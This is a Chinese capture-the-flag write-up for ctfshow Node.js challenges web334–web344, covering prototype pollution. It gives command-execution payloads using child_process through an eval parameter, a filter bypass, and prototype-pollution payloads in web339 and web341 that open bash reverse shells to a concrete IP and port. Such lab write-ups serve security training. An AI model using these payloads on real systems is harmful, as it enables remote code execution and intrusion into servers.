主要是原型链污染的题目
web334
下载题目附件以zip的形式解压在login.js文件可以找到账号密码
web335
打开环境查看源代码
考察如何在nodejs执行命令
法一
1 | ?eval=require('child_process').execSync('ls') |
1 | ?eval=require('child_process').execSync('cat f*') |
法二
还有一个函数
1 | eval=require('child_process').spawnSync('ls',['.']).output |
1 | eval=require('child_process').spawnSync('tac',['fl00g.txt']).output |
web336
添加了一些过滤
本来的话是.execSync
,我们这里可以修改为['exe'+'Sync']
,小知识[xxx]=.xxx
payload
1 | ?eval=require('child_process')['exe'%2B'cSync']('ls') |
上题的方法二仍然可以使用
web337
题目
1 | var express = require('express'); |
题解
重点是这句
1 | if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ |
数组绕过
1 | a[]=1&b=1 |
web338
url/login用application/json传参
1 | { |
web339
题目把整个源码都给我们了,我看wp说有两种解法,我就做了预期解,非预期解好像是说这个模板有漏洞,这是可以利用的源码内容
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
Function可以执行命令,如果控制query的值就可以。通过修改__photo__
的值来实现原型链污染。
构造payload反弹shell
访问url/login然后POST的enctype选择application/json
1 | {"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/116.63.169.81/4000 0>&1\"')"}} |
然后再POST访问url/api
在服务器监听开放的端口即可
web340
1 | /* GET home page. */ |
与上题相比变化不大,只是多了一个user,再套一层就可以。
一关的payload基础上多加一个__proto__
即可,具体payload如下
1 | {"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/监听端口 0>&1\"')"}}} |
web341
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/116.63.169.81/4000 0>&1\"');var __tmp2"}}} |
web344
题目
1 | router.get('/', function(req, res, next) { |
题解
过滤了,尝试绕过
payload
1 | ?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} |